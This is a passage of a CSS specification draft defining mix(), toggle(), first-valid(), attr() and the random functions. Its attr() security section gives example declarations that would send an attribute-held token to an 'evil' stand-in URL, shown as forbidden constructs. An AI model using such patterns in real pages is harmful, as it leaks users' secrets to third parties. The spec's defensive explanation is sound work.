	The used value of the first [=mix notation=] variant
	is equivalent to assigning the <<progress>> value,
	as a <<percentage>>,
	to the <<percentage>> of the second <<color>> argument in the second variant.
	<span class=note>That is, ''color-mix(progress, color1, color2)'' is equivalent to ''color-mix(color1, color2 progress)''.</span>
	See [[css-color-5#color-mix]] for the normative definition of the second variant.

	ISSUE: <<progress>> allows returning percentages outside 0-100%,
	but ''color-mix()'' doesn't allows such values,
	so need to define how that gets processed.

<h3 id="cross-fade">
Interpolated Image Values: the ''cross-fade()'' notation</h3>

	This specification extends the ''cross-fade()'' [=functional notation=]
	as a [=mix notation=] accepting the following syntaxes:

	<pre class=prod>
		<<cross-fade()>> =
		  cross-fade( <<progress>>, [ <<image>> | <<color>> ], [ <<image>> | <<color>> ] ) |
		  cross-fade( <<cf-image>># )
	</pre>

	The used value of the first [=mix notation=] variant
	is equivalent to assigning the <<progress>> value
	as the <<percentage>> of the second <<color>> argument in the second variant.
	<span class=note>That is, ''cross-fade(progress, image1, image2)'' is equivalent to ''cross-fade(image1, image2 progress)''.</span>
	See [[css-images-4#cross-fade-function]] for the normative definition of the second variant.


<h3 id="transform-mix">
Interpolated Transform Values: the ''transform-mix()'' notation</h3>

	The <dfn>transform-mix()</dfn> [=mix notation=]
	represents an interpolated <<transform-list>>,
	with the following syntactic form:

	<pre class=prod>
		<dfn><<transform-mix()>></dfn> = transform-mix( <<progress>>, <<transform-list>>, <<transform-list>> )
	</pre>

	The [=used value=] of a valid ''transform-mix()'' is
	the result of interpolating these two values
	to the progress given by <<progress>>.
	If the <<progress>> value can be computed to a <<percentage>>,
	and the <<transform-list>>s can be interpolated
	without used-value-time information,
	then the [=computed value=] is likewise
	the result of interpolating the two [=computed values=]
	to that <<progress>> value;
	it is otherwise the ''transform-mix()'' notation itself
	with its arguments each computed according to their type.

	''transform-mix()'' is, itself, a <<transform-function>>.

<h3 id="mix">
Interpolated Property Values: the ''mix()'' notation</h3>

	[=Interpolation=] of any two property values can be represented
	by the <dfn>mix()</dfn> [=mix notation=],
	which supports two alternative syntax patterns:

	<pre class="prod">
		<dfn><<mix()>></dfn> =
		  mix( <<progress>> , <<whole-value>> , <<whole-value>> ) |
		  mix( <<progress>> && of <<'animation-name'>> )
	</pre>

	The first syntax alternative, like other [=mix notations=],
	interpolates between the first <<whole-value>> (its [=mix start value=])
	and the second <<whole-value>> (its [=mix end value=]).
	The second uses the [=mix progress value=]
	to interpolate the corresponding property declarations from a set of keyframes,
	allowing for more complex interpolation curves.

	Note: This [=functional notation=] uses semicolons to separate arguments
	rather than the more typical comma
	because the values themselves can contain commas.

	For the standard [=mix notation=] variant,
	if the two <<whole-value>>s being interpolated by ''mix()''
	are [=interpolation|interpolable=]
	as values for the property in which it is specified,
	and the interpolated value can be represented without ''mix()'',
	the [=computed value=] of ''mix()'' is
	the result of interpolating these two values
	to the progress given by <<progress>>.
	Otherwise,
	the [=computed value=] of ''mix()'' is
	the ''mix()'' [=functional notation=] itself
	with its <<progress>> value computed
	and its <<whole-value>>s (if provided)
	computed as values for this property.

	<div class="example">
		For example, most uses of ''mix()''
		will resolve at computed-value time:

		<pre>
			color: mix(90%, red, blue);
			/* via simple interpolation,
			   computes to: */
			color: rgb(10% 0 90%);

			color: mix(90%, currentcolor, black);
			/* can't be fully resolved at computed-value time,
			   but still has a defined representation: */
			color: color-mix(currentcolor 90%, black 10%);

			float: mix(90%, left, right);
			/* discretely animatable */
			float: right;
		</pre>

		But a few cases don't have an intermediate representation:

		<pre>
			transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));
			/* because functions don't match, it will interpolate
			   via matrix(). But translate(%) needs layout
			   information to turn into a matrix(), so the
			   interpolated value can't actually be represented.
			   Computes to: */
			transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));
			transform: mix(90% of ripple);
		</pre>
	</div>

	The ''mix()'' notation is a <<whole-value>>.
	Additionally,
	if any of its <<whole-value>> arguments are [=not animatable=],
	the notation is invalid.

	<div class="example">
		For example, the following declarations are invalid,
		and will be ignored:

		<pre>
			/* Invalid start value */
			color: mix(90%, #invalid, #F00);

			/* Function is mixed with other values */
			background: url(ocean) mix(10%, blue, yellow);

			/* 'animation-*' is not animatable */
			animation-delay: mix(0%, 0s, 2s);
		</pre>
	</div>


<!-- Big Text: subs

 ███▌  █▌  █▌ ████▌   ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ █▌
 ███▌  █▌  █▌ █████   ███▌
    █▌ █▌  █▌ █▌  █▌     █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
 ███▌   ███▌  ████▌   ███▌
-->

<h2 id="value-insert">
Miscellaneous Value Substituting Functions</h2>

<h3 id="whole-value" type lt="<whole-value>">
Representing An Entire Property Value: the <<whole-value>> type</h3>

	Several functions defined in this specification
	can only be used as the "whole value" of a property.
	For example, ''background-position: toggle(50px 50px, center);'' is valid,
	but ''background-position: toggle(50px, center) 50px;'' is not.
	The <<whole-value>> production represents these values.

	All properties implicitly accept a <<whole-value>>
	as their entire value,
	just as they accept the [=CSS-wide keywords=]
	as their entire value.

	When used as a component value of a function,
	<<whole-value>> also represents any CSS value
	normally valid as the whole value
	of the property in which it is used
	(including additional <<whole-value>> functions).
	However, some functions may restrict
	what a <<whole-value>> argument can include.

<h3 id="first-valid">
Selecting the First Supported Value: the ''first-valid()'' notation</h3>

	CSS supports progressive enhancement with its forward-compatible parsing:
	authors can declare the same property multiple times in a style rule,
	using different values each time,
	and a CSS UA will automatically use the last one that it understands
	and throw out the rest.
	This principle, together with the ''@supports'' rule,
	allows authors to write stylesheets that work well
	in old and new UAs simultaneously.

	However, using ''var()''
	(or similar substitution functions that resolve after parsing)
	thwarts this functionality;
	CSS UAs must assume any such property is valid at parse-time.

	The <dfn>first-valid()</dfn> [=functional notation=]
	inlines the fallback behavior
	intrinsic to parsing declarations.
	Unlike most notations,
	it can accept any valid or invalid syntax in its arguments,
	and represents the first value among its arguments
	that is supported (parsed as valid) by the UA
	as the whole value of the property it's used in.

	<pre class=prod>
		<dfn>&lt;first-valid()></dfn> = first-valid( <<declaration-value>># )
	</pre>

	If none of the arguments represent a valid value for the property,
	the property is [=invalid at computed-value time=].

	''first-valid()'' is a <<whole-value>>.

	Issue: Should this have a different name?
	We didn't quite decide on it during the resolution to add this.

	Note: Despite effectively taking <<whole-value>>s as its argument,
	''first-valid()'' is instead defined to take <<declaration-value>>s
	because, by definition,
	it's intended to be used in cases
	<em>where its values might be invalid for the declaration it's in</em>.
	<<declaration-value>> imposes no contextual validity constraints on what it matches,
	unlike <<whole-value>>.


<!-- Big Text: toggle()

█████▌  ███▌   ███▌   ███▌  █▌    █████▌   ██ ██
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌      █▌   ▐█
  █▌   █▌  █▌ █▌     █▌     █▌    █▌     █▌     ▐█
  █▌   █▌  █▌ █▌ ██▌ █▌ ██▌ █▌    ████   █▌     ▐█
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌     █▌     ▐█
  █▌   █▌  █▌ █▌  █▌ █▌  █▌ █▌    █▌      █▌   ▐█
  █▌    ███▌   ███▌   ███▌  █████ █████▌   ██ ██
-->

<h3 id="toggle-notation">
Toggling Between Values: ''toggle()''</h3>

	The <dfn>toggle()</dfn> expression allows descendant elements
	to cycle over a list of values instead of inheriting the same value.

	<div class='example'>
		The following example makes <code>&lt;em></code> elements italic in general,
		but makes them normal if they're inside something that's italic:

		<pre>em { font-style: toggle(italic, normal); }</pre>
	</div>

	<div class='example'>
		The following example cycles markers for nested lists,
		so that a top level list has ''list-style-type/disc''-shaped markers,
		but nested lists use ''list-style-type/circle'', then ''list-style-type/square'', then ''list-style-type/box'',
		and then repeat through the list of marker shapes,
		starting again (for the 5th list deep) with ''list-style-type/disc''.

		<pre>ul { list-style-type: toggle(disc, circle, square, box); }</pre>
	</div>

	The syntax of the ''toggle()'' expression is:

	<pre class=prod>
		<dfn><<toggle()>></dfn> = toggle( <<whole-value>># )
	</pre>

	The ''toggle()'' notation is a <<whole-value>>.
	However, it is not allowed to be nested,
	nor may it contain ''attr()'' or ''calc()'' notations;
	declarations containing such constructs are invalid.

	<div class="example">
		The following ''toggle()'' examples are all invalid:

		<pre>
		background-position: 10px toggle(50px, 100px);
		/* toggle() must be the sole value of the property */

		list-style-type: toggle(disc, 50px);
		/* ''50px'' isn't a valid value of 'list-style-type' */
		</pre>
	</div>

	To determine the computed value of ''toggle()'',
	first evaluate each argument as if it were the sole value of the property in which ''toggle()'' is placed
	to determine the computed value that each represents,
	called <var>C<sub>n</sub></var> for the <var>n</var>-th argument to ''toggle()''.
	Then, compare the property's <a>inherited value</a>
	with each <var>C<sub>n</sub></var>.
	For the earliest <var>C<sub>n</sub></var> that matches the <a>inherited value</a>,
	the computed value of ''toggle()'' is <var>C<sub>n+1</sub></var>.
	If the match was the last argument in the list,
	or there was no match,
	the computed value of ''toggle()'' is the computed value that the first argument represents.


	Note: This means that repeating values in a ''toggle()'' short-circuits the list.
	For example ''toggle(1em, 2em, 1em, 4em)'' will be equivalent to ''toggle(1em, 2em)''.

	<!-- Issue: Should this short-circuiting affect the computed value? -->

	Note: That ''toggle()'' explicitly looks at the computed value of the parent,
	so it works even on non-inherited properties.
	This is similar to the ''inherit'' keyword,
	which works even on non-inherited properties.

	Note: That the [=computed value=] of a property is an abstract set of values,
	not a particular serialization [[!CSS21]],
	so comparison between computed values should always be unambiguous and have the expected result.
	For example,
	a Level 2 <l spec=css22>'background-position'</l> computed value
	is just two offsets, each represented as an absolute length or a percentage,
	so the declarations ''background-position: top center'' and ''background-position: 50% 0%''
	produce identical computed values.
	If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,
	please <a href="#sotd">provide feedback</a> so we can fix it.

	If ''toggle()'' is used on a <a>shorthand property</a>,
	it sets each of its longhands to a ''toggle()'' value
	with arguments corresponding to what the longhand would have received
	had each of the original ''toggle()'' arguments been the sole value of the <a>shorthand</a>.

	<div class="example">
		For example, the following shorthand declaration:

		<pre>margin: toggle(1px 2px, 4px, 1px 5px 4px);</pre>

		is equivalent to the following longhand declarations:

		<pre>
		margin-top:    toggle(1px, 4px, 1px);
		margin-right:  toggle(2px, 4px, 5px);
		margin-bottom: toggle(1px, 4px, 4px);
		margin-left:   toggle(2px, 4px, 5px);
		</pre>

		Note that, since ''1px'' appears twice in the top margin and ''4px'' appears twice in bottom margin,
		they will cycle between only two values
		while the left and right margins cycle through three.
		In other words, the declarations above will yield the same computed values
		as the longhand declarations below:

		<pre>
		margin-top:    toggle(1px, 4px);
		margin-right:  toggle(2px, 4px, 5px);
		margin-bottom: toggle(1px, 4px);
		margin-left:   toggle(2px, 4px, 5px);
		</pre>

		which may not be what was intended.
	</div>

<!-- Big Text: attr()

 ███▌  █████▌ █████▌ ████▌    ██ ██
▐█ ▐█    █▌     █▌   █▌  █▌  █▌   ▐█
█▌  █▌   █▌     █▌   █▌  █▌ █▌     ▐█
█▌  █▌   █▌     █▌   ████▌  █▌     ▐█
█████▌   █▌     █▌   █▌▐█   █▌     ▐█
█▌  █▌   █▌     █▌   █▌ ▐█   █▌   ▐█
█▌  █▌   █▌     █▌   █▌  █▌   ██ ██
-->

<h3 id="attr-notation">
Attribute References: the ''attr()'' function</h3>

<!--
Ian's proposal:
  http://lists.w3.org/Archives/Member/w3c-css-wg/2002OctDec/0141.html
-->

	The <dfn>attr()</dfn> function substitutes the value of an  <l spec=dom>[=attribute=]</l> on an <l spec=dom>[=/element=]</l>
	into a property,
	similar to how the ''var()'' function
	substitutes a [=custom property=] value into a function.

	<pre class=prod>
		attr() = attr( <<attr-name>> <<attr-type>>? , <<declaration-value>>?)

		<dfn>&lt;attr-name></dfn> = [ <<ident-token>> '|' ]? <<ident-token>>

		<dfn>&lt;attr-type></dfn> = string | ident | color | number | percentage |
		              length | angle | time | frequency | flex | <<dimension-unit>>
	</pre>

	<!-- Switch the <attr-name> to just use <q-name>
		when Namespaces is rewritten
		to use the current grammar structures. -->

	The <dfn>&lt;dimension-unit></dfn> production matches a literal "%" character
	(that is, a <<delim-token>> with a value of "%")
	or an ident whose value is any of the CSS units
	for <<length>>, <<angle>>, <<time>>, <<frequency>>, or <<flex>> values
	(such as ''px'' or ''ms'').

	The arguments of ''attr()'' are:

	: <<attr-name>>
	:: Gives the name of the attribute being referenced,
		similar to <<wq-name>> (from [[SELECTORS-3]])
		but without the possibility of a wildcard prefix.

		If no namespace is specified
		(just an identifier is given, like ''attr(foo)''),
		the null namespace is implied.
		(This is usually what's desired,
		as namespaced attributes are rare.
		In particular, HTML and SVG do not contain namespaced attributes.)
		As with [=attribute selectors=],
		the case-sensitivity of <<attr-name>> depends on the document language.

		If ''attr()'' is used in a property applied to an element,
		it references the attribute of the given name on that element;
		if applied to a pseudo-element,
		the attribute is looked up on the pseudo-element's [=originating element=].

	: <<attr-type>>
	::
		Specifies what kind of CSS value
		the attribute's value will be interpreted into
		(the ''attr()''’s <dfn dfn for=attr()>substitution value</dfn>)
		and what, if any, special parsing will be done to the value.

		The possible values and their behavior are defined in [[#attr-types]].

		Defaults to ''string'' if omitted.

	: <<declaration-value>>
	::
		Specifies a fallback value for the ''attr()'',
		which will be substituted instead of the attribute's value
		if the attribute is missing
		or fails to parse as the specified type.

		If the <<attr-type>> argument is ''string'',
		defaults to the empty string if omitted;
		otherwise, defaults to the [=guaranteed-invalid value=] if omitted.

	If a property contains one or more ''attr()'' functions,
	and those functions are syntactically valid,
	the entire property's grammar must be assumed to be valid at parse time.
	It is only syntax-checked at computed-value time,
	after ''attr()'' functions have been [=substitute an attr()|substituted=].

	<div class='note'>
		Note that the default value need not be of the type given.
		For instance, if the type required of the attribute by the author is ''px'',
		the default could still be <css>auto</css>,
		like in ''width: attr(size px, auto);''.
	</div>

<h4 id="attr-types">
''attr()'' Types</h4>

	The behavior of the ''attr()'' function
	depends partially on the value of the <<attr-type>> argument:

	<dl dfn-type=value dfn-for=attr()>
		: <dfn>string</dfn>
		:: The [=substitution value=] is a CSS string,
			whose value is the literal value of the attribute.
			(No CSS parsing or "cleanup" of the value is performed.)

			No value triggers fallback.

		: <dfn>ident</dfn>
		:: The [=substitution value=] is a CSS <<custom-ident>>,
			whose value is the literal value of the attribute,
			with [=strip leading and trailing ASCII whitespace|leading and trailing ASCII whitespace stripped=].
			(No CSS parsing of the value is performed.)

			If the attribute value,
			after trimming,
			is the empty string,
			there is instead no [=substitution value=].

			If the <<custom-ident>>’s value is a [=CSS-wide keyword=]
			or <css>default</css>,
			there is instead no [=substitution value=].

		: <dfn>color</dfn>
		::
			[=Parse a component value=] from the attribute's value.
			If the result is a <<hex-color>>
			or a [=named color=] ident,
			the [=substitution value=] is that result as a <<color>>.

			Otherwise there is no [=substitution value=].

		: <dfn>number</dfn>
		::
			[=Parse a component value=] from the attribute's value.
			If the result is a <<number-token>>,
			the result is the [=substitution value=].

			Otherwise, there is no [=substitution value=].

		: <dfn>percentage</dfn>
		::
			[=Parse a component value=] from the attribute's value.
			If the result is a <<percentage-token>>,
			the result is the [=substitution value=].

			Otherwise, there is no [=substitution value=].

		: <dfn>length</dfn>
		: <dfn>angle</dfn>
		: <dfn>time</dfn>
		: <dfn>frequency</dfn>
		: <dfn>flex</dfn>
		::
			[=Parse a component value=] from the attribute's value.
			If the result is a <<dimension-token>>
			whose unit matches the given type,
			the result is the [=substitution value=].

			Otherwise, there is no [=substitution value=].

		: <dfn><<dimension-unit>></dfn>
		::
			[=Parse a component value=] from the attribute's value.
			If the result is a <<number-token>>,
			the [=substitution value=] is a dimension
			with the result's value,
			and the given unit.

			Otherwise, there is no [=substitution value=].
	</dl>

	Issue: Do we want to allow [=math functions=] as attr values
	for all the numeric types?
	And color functions for "color"?
	I think we do,
	but I'd have to check the contents to make sure they don't contain further reference functions;
	<code highlight=html>foo="rgb(var(--red), 0, 0)"</code>
	needs to be illegal for ''attr(foo color)''.

	<div class="example">
		This example shows the use of attr() to visually illustrate data
		in an XML file:

		<pre>
		&lt;stock>
			&lt;wood length="12"/>
			&lt;wood length="5"/>
			&lt;metal length="19"/>
			&lt;wood length="4"/>
		&lt;/stock>

		stock::before {
			display: block;
			content: "To scale, the lengths of materials in stock are:";
		}
		stock > * {
			display: block;
			width: attr(length em, 0px);
			height: 1em;
			border: solid thin;
			margin: 0.5em;
		}
		wood {
			background: orange url(wood.png);
		}
		metal {
			background: silver url(metal.png);
		}
		</pre>
	</div>

<h4 id=attr-substitution>
''attr()'' Substitution</h4>

	Issue: attr() and var() substitute at the same time,
	so I should probably rewrite [=substitute a var()=]
	to be more generally about "substitute a reference"
	and just use that for both of these functions.

	''attr()'' functions are [=substitute an attr()|substituted=] at computed-value time.
	If a declaration,
	once all ''attr()'' functions are substituted in,
	does not match its declared grammar,
	the declaration is [=invalid at computed-value time=].

	To <dfn export>substitute an ''attr()''</dfn>:

	1. If the ''attr()'' function has a [=substitution value=],
		replace the ''attr()'' function by the [=substitution value=].
	2. Otherwise, if the ''attr()'' function has a fallback value as its last argument,
		replace the ''attr()'' function by the fallback value.
		If there are any ''var()'' or ''attr()'' references in the fallback,
		[=substitute an attr()|substitute=] them as well.
	3. Otherwise, the property containing the ''attr()'' function
		is [=invalid at computed-value time=].


<h4 id=attr-security>
Security</h4>

	An ''attr()'' function can reference attributes
	that were never intended by the page to be used for styling,
	and might contain sensitive information
	(for example, a security token used by scripts on the page).

	In general, this is fine.
	It is difficult to use ''attr()'' to extract information from a page
	and send it to a hostile party,
	in most circumstances.
	The exception to this is URLs.
	If a URL can be constructed with the value of an arbitrary attribute,
	purely from CSS,
	it can easily send any information stored in attributes
	to a hostile party,
	if 3rd-party CSS is allowed at all.

	For this reason,
	''attr()'' does not have a <css>url</css> type.
	Additionally, ''attr()'' is not allowed to be used
	in any <<url>> value,
	whether directly or indirectly.
	Doing so makes the property it's used in invalid.

	<div class=example>
		For example,
		all of the following are invalid:

		* ''background-image: src(attr(foo));'' - can't use it directly.
		* ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions.
		* ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function.
		* ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either.
	</div>

	Note: Implementing this restriction
	requires tracking a dirty bit
	on values constructed from ''attr()'' values,
	since they can be fully resolved into a string
	via [=registered custom properties=],
	so you can't rely on just examining the value expression.
	Note that non-string types can even trigger this,
	via functions like <css>string()</css>
	that can stringify other types of values:
	''--foo: attr(foo number); background-image: src(string(var(--foo)))''
	needs to be invalid as well.

<!-- Big Text: random

████▌   ███▌  █    █▌ ████▌   ███▌  █     █
█▌  █▌ ▐█ ▐█  █▌   █▌ █▌  █▌ █▌  █▌ ██   ██
█▌  █▌ █▌  █▌ ██▌  █▌ █▌  █▌ █▌  █▌ █▌█ █▐█
████▌  █▌  █▌ █▌▐█ █▌ █▌  █▌ █▌  █▌ █▌ █ ▐█
█▌▐█   █████▌ █▌  ██▌ █▌  █▌ █▌  █▌ █▌   ▐█
█▌ ▐█  █▌  █▌ █▌   █▌ █▌  █▌ █▌  █▌ █▌   ▐█
█▌  █▌ █▌  █▌ █▌   ▐▌ ████▌   ███▌  █▌   ▐█
-->

<h2 id=randomness>
Generating Random Values</h2>

	It is often useful to incorporate some degree of "randomness" to a design,
	either to make repeated elements on a page feel less static and identical,
	or just to add a bit of "flair" to a page without being distracting.

	The ''random()'' and ''random-item()'' functions
	(the <dfn export for=CSS>random functions</dfn>)
	allow authors to incorporate randomness into their page,
	while keeping this randomness predictable from a design perspective,
	letting authors decide whether a random value should be reused in several places
	or be unique between instances.

	The exact random-number generation method is UA-defined.
	It <em>should</em> be the case that two distinct random values
	have no easily-detectable correlation,
	but this specification intentionally does not specify what that means
	in terms of cryptographic strength.
	Authors <em>must not</em> rely on [=random functions=]
	for any purposes that depend on quality cryptography.

<h3 id=random>
Generating a Random Numeric Value: the ''random()'' function</h3>

	The <dfn>random()</dfn> function is a [=math function=]
	that represents a random value between a minimum and maximum value,
	drawn from a uniform distribution,
	optionally limiting the possible values to a step between those limits:

	<pre class=prod>
	&lt;random()> = random( <<random-caching-options>>? , <<calc-sum>>, <<calc-sum>>, [by <<calc-sum>>]? )

	<dfn><<random-caching-options>></dfn> = <<dashed-ident>> || per-element
	</pre>

	Its arguments are:

	<dl>
		: <<random-caching-options>>
		:: The optional <<random-caching-options>>
			provides some control over whether a given ''random()'' function
			resolves similarly or differently to other ''random()''s on the page.
			See [[#random-caching]] for details.

			<div class=note>
				By default, ''random()'' resolves to a single value,
				shared by all elements using that style,
				and two ''random()'' functions with identical arguments
				will resolve to the same random value.

				Providing a <<dashed-ident>> does nothing,
				but can make the argument lists distinct
				between two or more otherwise-identical ''random()'' functions,
				so they'll generate distinct values.

				The ''per-element'' keyword causes the ''random()'' function
				to generate a different value <em>on each element</em> the function is applied to,
				rather than resolving to a single value per usage in the stylesheet.
			</div>

		: <<calc-sum>>, <<calc-sum>>
		:: The two required [=calculations=]
			specify the  minimum and maximum value
			the function can resolve to.
			Both limits are inclusive
			(the result can be the min or the max).

			If the maximum value is less than the minimum value,
			it behaves as if it's equal to the minimum value.

			<div class=example>
				For example, ''random(100px, 300px)''
				will resolve to a random <<length>> between ''100px'' and ''300px'':
				it might be ''100px'', ''300px'', or any value between them like ''234.5px''.
			</div>

		: ''by <<calc-sum>>''
		:: The final optional argument
			specifies a step value:
			the values the function can resolve to
			are further restricted to the form <code>min + (N * step)</code>,
			where N is a non-negative integer
			chosen uniformly randomly from the possible values
			that result in an in-range value.

			<div class=example>
				For example, ''random(100px, 300px, by 50px)''
				can only resolve to ''100px'', ''150px'', ''200px'', ''250px'', or ''300px'';
				it will never return a value like ''120px''.

				While the minimum value is always a possible result,
				the maximum value isn't always,
				if it's not also a multiple of the step from the minimum.
				For example, in ''random(100px, 300px, by 30px)'',
				the largest possible value it can resolve to is ''280px'',
				6 steps from the minimum value.

				Note that rounding issues might have an effect here:
				in ''random(100px, 200px, by 100px / 3)''
				you'll definitely get three possible values
				(''100px'', and approximately ''133.33px'' and ''166.67px''),
				but whether ''200px'' is possible depends on rounding precision.
				To be safe, you can put the maximum value
				<em>slightly above</em> where you expect the final step to land,
				like ''random(100px, 201px, by 100px / 3)''.
			</div>

			<div class=example>
				As explained in the definition of ''round()'',
				CSS has no "natural" precision for values,
				but the step value can be used to assign one.

				For example, ''random(100px, 500px, by 1px)''
				restricts it to resolving only to whole px values;
				''random(1, 10, by 1)''
				is restricted to resolving only to integers;
				etc.
			</div>

			Note: The definition of the step <em>does not</em> allow
			for naively generating a random value in the range
			and then rounding it to the nearest step value,
			as that can result in the values not appearing with the same weights.
			For example, ''random(100px, 200px, by 50px)''
			has to generate the three possible values each with a 1/3 chance;
			a naive rounding-based method will instead incorrectly generate ''150px''
			twice as often as the boundary values.
	</dl>

	All of the [=calculation=] arguments can resolve to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have the <em>same</em> [=determine the type of a calculation|type=], or else the function is invalid;
	the result will have the same type as the arguments.

	<div class=example>
		For example, ''random(50px, 100%, by 1em)'' is valid
		(assuming percentages are valid in the context this is used,
		and resolve to a <<length>>),
		as all three arguments resolve to a length.

		However, ''random(50px, 180deg)'' is invalid,
		as lengths and angles are not the same type.
	</div>

	A ''random()'' function can be [=simplify a calculation tree|simplified=]
	as soon as its argument [=calculations=]
	can be simplified to numeric values.

	Note: This means that ''random()'' is <em>usually</em> resolved
	by [=computed value=] time,
	and thus will inherit as a static numeric value.
	However, if the argument [=calculations=] aren't resolved
	until [=used value=] time
	(such as if they include <<percentage>> values
	that require layout information to resolve),
	[=inheritance=] will transfer the ''random()'' function itself.
	(This is no different, however, to the behavior of the <<percentage>>s themselves,
	which would inherit as <<percentage>>s
	and thus might resolve to different values on the child elements.)


	Issue: At least in theory it should be fine to use ''random()''
	in non-property contexts,
	so long as ''per-element'' isn't specified;
	it's well-defined what happens with <code>@media (max-width: random(100px, 500px)) {...}</code>,
	for example.
	I suspect we want to disallow it, tho?

<h4 id=random-infinities>
Argument Ranges</h4>

	In ''random(A, B, by C)'',
	if A or B is infinite,
	the result is NaN.
	If C is infinite,
	the result is A.

	(If C is zero or negative,
	the result is A,
	but that falls out of the standard definition.)

	Note: As usual for [=math functions=],
	if any argument calculation is NaN,
	the result is NaN.

<h3 id=random-item>
Picking a Random Item From a List: the ''random-item()'' function</h3>

	The <dfn>random-item()</dfn> function
	resolves to a random item
	from among its list of items.

	<pre class=prod>
	&lt;random-item()> = random-item( <<random-caching-options>> , [ <<declaration-value>>? ]# )
	</pre>

	The <em>required</em> <<random-caching-options>>
	is interpreted identically to ''random()''.
	(See [[#random-caching]] for details.)

	<div class=note>
		Like ''random()'',
		the <<dashed-ident>> can be used to force similar ''random-item()'' functions
		to generate distinct random values,
		and ''per-element''
		causes it to resolve to a distinct value on each element.

		Aside from these,
		the grouping of ''random-item()'' functions as "identical"
		is much simpler:
		all that matters is the number of arguments.

		That is, ''random-item(--x, red, blue, green)''
		and ''random-item(--x, 1, 2, 3)''
		will always resolve to the same argument index:
		either ''red'' and ''1'', or ''blue'' and ''2'', or ''green'' and ''3''.
		This allows coordination between groups of properties
		that all want to use a random set of values.

		On the other hand, ''random-item(--x, red, blue, green)''
		and ''random-item(--x, 1, 2, 3, 4)''
		will have no connection to each other;
		any of the 12 possible combinations can occur.
	</div>

	Note: The <<random-caching-options>> argument is required in ''random-item()'',
	but optional in ''random()'',
	both for parsing reasons
	(it's impossible to tell whether ''random-item(--foo, --bar, --baz)''
	has three <<declaration-value>> arguments
	or two and a <<random-caching-options>> argument),
	and because accidentally associating the random generation of ''random-item()'' functions together
	is much easier to do accidentally,
	since only the number of arguments is used to distinguish instances.

	The remaining arguments are arbitrary sequences of CSS values.
	The ''random-item()'' function resolves to one of these sequences,
	chosen uniformly at random.

	The ''random-item()'' function is an [=arbitrary substitution function=],
	like ''var()''.

	<div class=note>
		That is, if you use ''random-item()'':

		* So long as ''random-item()'' itself (and any other [=arbitrary substitution functions=])
			is syntactically valid,
			the entire property is assumed to be valid at parse time.
		* ''random-item()'' is substituted with whatever value it resolves to
			at [=computed value=] time
			when you'd [=substitute a var()=],
			so children all inherit the same resolved value.
		* If the substituted value ends up making the property invalid,
			the property's value becomes the [=guaranteed-invalid value=].
	</div>

	Issue: Define [=arbitrary substitution function=],
	probably over in Variables,
	since we have several upcoming functions leaning on this functionality.

	Issue: Since ''random-item()'' is var()-like,
	we probably want to restrict it to only be usable in properties.
	(This is likely something we want to apply to all such functions.)
	Tho ''random()'' is a fundamentally different kind of value,
	we probably want to restrict it as well,
	for thematic consistency.



<h3 id=random-caching>
Generating/Caching Random Values: the <<random-caching-options>> value</h3>

	In a programming language like JavaScript,
	there's a clear temporal ordering to code,
	so you can tell exactly <em>when</em> something like a call to {{Math/random()|Math.random()}} is evaluated.
	You can also store the results in a variable,
	making it clear when you're reusing a single random value in multiple places,
	versus using a distinct random value in each location.

	CSS, on the other hand, is a declarative language
	(code is not "executed" in any particular order,
	nor is there any control over how many times something is "executed");
	it makes it very easy to apply identical styles to multiple elements
	but difficult to specify distinct values for each of them
	(making it unclear whether a property using ''random()''
	is meant to resolve to the same value on each element it's applied to
	or to distinct values on each);
	and it has very limited "variable" functionality
	(making it difficult to intentionally reuse a particular randomly-generated value in several places).

	To resolve these issues,
	the ''random()'' and ''random-item()'' functions are defined to generate random values
	under the following caching semantics:

	* Each instance of ''random()'' or ''random-item()'' in a stylesheet
		specifies a <dfn>random-caching key</dfn>.
		Two instances of either function must resolve to <em>identical</em> values
		if their [=random-caching keys=] are identical;
		they must resolve to <em>distinct</em> values
		if they're different.

		("Distinct" here means generated by a fresh random operation;
		this might coincidentally result in the same value as another random operation.)

	* For ''random()'',
		the [=random-caching key=]
		is a [=tuple=] of:

		1. The [=used value=] of the minimum [=calculation=].
		2. The [=used value=] of the maximum [=calculation=].
		3. The [=used value=] of the step [=calculation=], if present,
			or null otherwise.
		4. The <<dashed-ident>> part of the <<random-caching-options>>, if present,
			or null otherwise.
		5. If ''per-element'' is specified in the <<random-caching-options>>,
			a unique value per element or pseudo-element the function appears in.

	* For ''random-item()'',
		the [=random-caching key=]
		is a [=tuple=] of:

		1. The number of arguments to the function.
		2. The <<dashed-ident>> part of the <<random-caching-options>>, if present,
			or null otherwise.
		3. If ''per-element'' is specified in the <<random-caching-options>>,
			a unique value per element or pseudo-element the function appears in.

	The "unique value per element or pseudo-element" must have the same lifetime
	as a JavaScript reference to the element
	(or to the [=originating element=] + sufficient additional info to uniquely identify the pseudo-element).
	Elements in separate documents
	(including across refreshes of the same page,
	which produces distinct documents with distinct elements)
	<em>should</em> have distinct unique values.
	(This is not strictly required,
	to allow for pseudo-random generation of these values,
	but uniqueness should be likely enough
	that authors cannot depend on elements having the same values across documents.)

	Additionally, the random generation method <em>should</em>
	generate distinct values for the same operation
	when invoked on different documents
	(including refreshes of the same page).

	<div class=example>
		For example, in the following stylesheet:

		<pre highlight=css>
		.random-square {
			width: random(100px, 500px);
			height: random(100px, 500px);
		}
		</pre>

		The [=random-caching keys=] for both functions are identical:
		<code>(100px, 500px, null, null, null)</code>.
		This means that both will resolve to the exact same value,
		guaranteeing a square element
		with a size somewhere between ''100px'' and ''500px''.
		Additionally, <em>every</em> ''.random-square'' element
		will have the same size.

		On other hand, in this stylesheet:

		<pre highlight=css>
		.random-rect {
			width: random(100px, 500px);
			height: random(--x, 100px, 500px);
		}
		</pre>

		The [=random-caching keys=] are distinct between the two functions:
		the function in 'width' has <code>(100px, 500px, null, null, null)</code>,
